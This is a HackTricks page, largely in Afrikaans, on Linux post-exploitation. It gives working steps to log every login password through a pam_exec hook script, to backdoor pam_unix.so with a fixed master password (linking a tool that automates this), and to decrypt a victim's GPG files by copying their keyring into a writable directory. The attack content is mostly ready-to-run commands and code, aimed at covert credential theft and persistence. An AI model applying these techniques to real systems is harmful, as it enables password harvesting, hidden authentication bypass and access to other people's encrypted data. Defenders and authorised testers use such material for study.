Linux Post-Exploitation

Reading time: 5 minutes

tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks

Sniffing Logon Passwords with PAM

Laat ons 'n PAM-module konfigureer om elke wagwoord wat 'n gebruiker gebruik om aan te meld te log. As jy nie weet wat PAM is nie, kyk:

PAM - Pluggable Authentication Modules

For further details check the original post. This is just a summary:

Technique Overview: Pluggable Authentication Modules (PAM) offer flexibility in managing authentication on Unix-based systems. They can enhance security by customizing login processes but also pose risks if misused. This summary outlines a technique to capture login credentials using PAM, alongside mitigation strategies.

Capturing Credentials:

  • 'n bash script met die naam toomanysecrets.sh word geskryf om aanmeldpogings te log, en vang die datum, gebruikersnaam ($PAM_USER), wagwoord (via stdin), en afgeleë gasheer-IP ($PAM_RHOST) na /var/log/toomanysecrets.log.
  • Die script word uitvoerbaar gemaak en geïntegreer in die PAM-konfigurasie (common-auth) deur die pam_exec.so module te gebruik met opsies om stil te loop en die authentication token aan die script bloot te stel.
  • Die benadering demonstreer hoe 'n gekompromitteerde Linux-host uitgebuit kan word om kredensiale diskreet te log.
bash
#!/bin/sh
echo " $(date) $PAM_USER, $(cat -), From: $PAM_RHOST" >> /var/log/toomanysecrets.log
sudo touch /var/log/toomanysecrets.sh
sudo chmod 770 /var/log/toomanysecrets.sh
sudo nano /etc/pam.d/common-auth
# Add: auth optional pam_exec.so quiet expose_authtok /usr/local/bin/toomanysecrets.sh
sudo chmod 700 /usr/local/bin/toomanysecrets.sh

Backdooring PAM

Vir verdere besonderhede kyk na die original post. Dit is net 'n samevatting:

Die Pluggable Authentication Module (PAM) is 'n stelsel wat onder Linux gebruik word vir gebruikersverifikasie. Dit werk op drie hoofkonsepte: gebruikersnaam, wagwoord, en diens. Konfigurasielêers vir elke diens is geleë in die /etc/pam.d/ gids, waar gedeelde biblioteke verifikasie hanteer.

Doelwit: Pas PAM aan sodat verifikasie moontlik is met 'n spesifieke wagwoord, en sodoende die werklike gebruikerswagwoord omseil. Dit fokus veral op die gedeelde biblioteek pam_unix.so wat deur die common-auth lêer gebruik word, en wat by byna alle dienste ingesluit is vir wagwoordverifikasie.

Stappe om pam_unix.so te wysig:

  1. Vind die verifikasie-direktief in die common-auth lêer:
  • Die reël wat verantwoordelik is om 'n gebruiker se wagwoord te kontroleer, roep pam_unix.so aan.
  1. Wysig bronkode:
  • Voeg 'n voorwaardelike stelling by in die pam_unix_auth.c bronlêer wat toegang verleen as 'n voorafbepaalde wagwoord gebruik word; anders gaan dit voort met die gewone verifikasieproses.
  1. Herkompileer en vervang die gemodifiseerde pam_unix.so biblioteek in die toepaslike gids.
  2. Toetsing:
  • Toegang word verleen oor verskeie dienste (login, ssh, sudo, su, screensaver) met die voorafbepaalde wagwoord, terwyl normale verifikasieprosesse onaangeraak bly.

tip

Jy kan hierdie proses outomatiseer met https://github.com/zephrax/linux-pam-backdoor

Ontsleuteling van GPG loot deur homedir-verplasing

Indien jy 'n geïnkripteerde .gpg lêer en 'n gebruiker se ~/.gnupg gids (pubring, private-keys, trustdb) vind, maar jy kan nie ontsleutel nie weens GnuPG homedir-permissies/slotte, kopieer die keyring na 'n skryfbare ligging en gebruik dit as jou GPG home.

Tipiese foutmeldings wat jy sonder dit sal sien: "unsafe ownership on homedir", "failed to create temporary file", of "decryption failed: No secret key" (omdat GPG nie die oorspronklike homedir kan lees/skryf nie).

Werkvloei:

bash
# 1) Stage a writable homedir and copy the victim's keyring
mkdir -p /dev/shm/fakehome/.gnupg
cp -r /home/victim/.gnupg/* /dev/shm/fakehome/.gnupg/
# 2) Ensure ownership & perms are sane for gnupg
chown -R $(id -u):$(id -g) /dev/shm/fakehome/.gnupg
chmod 700 /dev/shm/fakehome/.gnupg
# 3) Decrypt using the relocated homedir (either flag works)
GNUPGHOME=/dev/shm/fakehome/.gnupg gpg -d /home/victim/backup/secrets.gpg
# or
gpg --homedir /dev/shm/fakehome/.gnupg -d /home/victim/backup/secrets.gpg

As die geheime sleutelmateriaal in private-keys-v1.d teenwoordig is, sal GPG ontsluit en decrypt sonder om vir 'n passphrase te vra (of dit sal vra as die sleutel beskerm is).

Verwysings

tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks